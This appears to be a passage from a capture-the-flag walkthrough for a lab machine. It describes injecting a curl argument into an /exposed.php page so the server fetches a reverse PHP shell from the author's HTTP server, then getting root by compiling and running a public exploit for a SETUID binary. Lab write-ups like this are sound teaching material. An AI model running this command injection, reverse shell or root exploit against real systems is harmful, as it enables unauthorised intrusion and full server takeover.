/exposed.php

curl is running in the server so lets interrupt the request in the burp and see what going on.

So by using curl we need to inject our payload inorder to get shell.

There is a way to upload reverse shell to the box using curl I started my HTTP server with Reverse PHP shell And we already know there is /uploads directory.

http://10.10.14.17:8000/shell.php -o /var/www/html/uploads/shell.php

-o will Write the file in /uploads/

Now lets start our listener and open the shell.php in the /uploadsbr/

We got the shell.

Privilege Escalation:

I upload my Linux Enumeration Script and I found an SETUID binary

There is an exploit available for this version.

https://www.exploit-db.com/exploits/41154

Downloaded the script and tried executing it leads to some error , So I split the script into 3

Did the commands given from the script as manually.

gcc -fPIC -shared -ldl -o exploit.so exploit.c

gcc -o rootshell rootshell.c

Then I uploaded all the scripts to the box

And executed the last script root.sh

Got Root
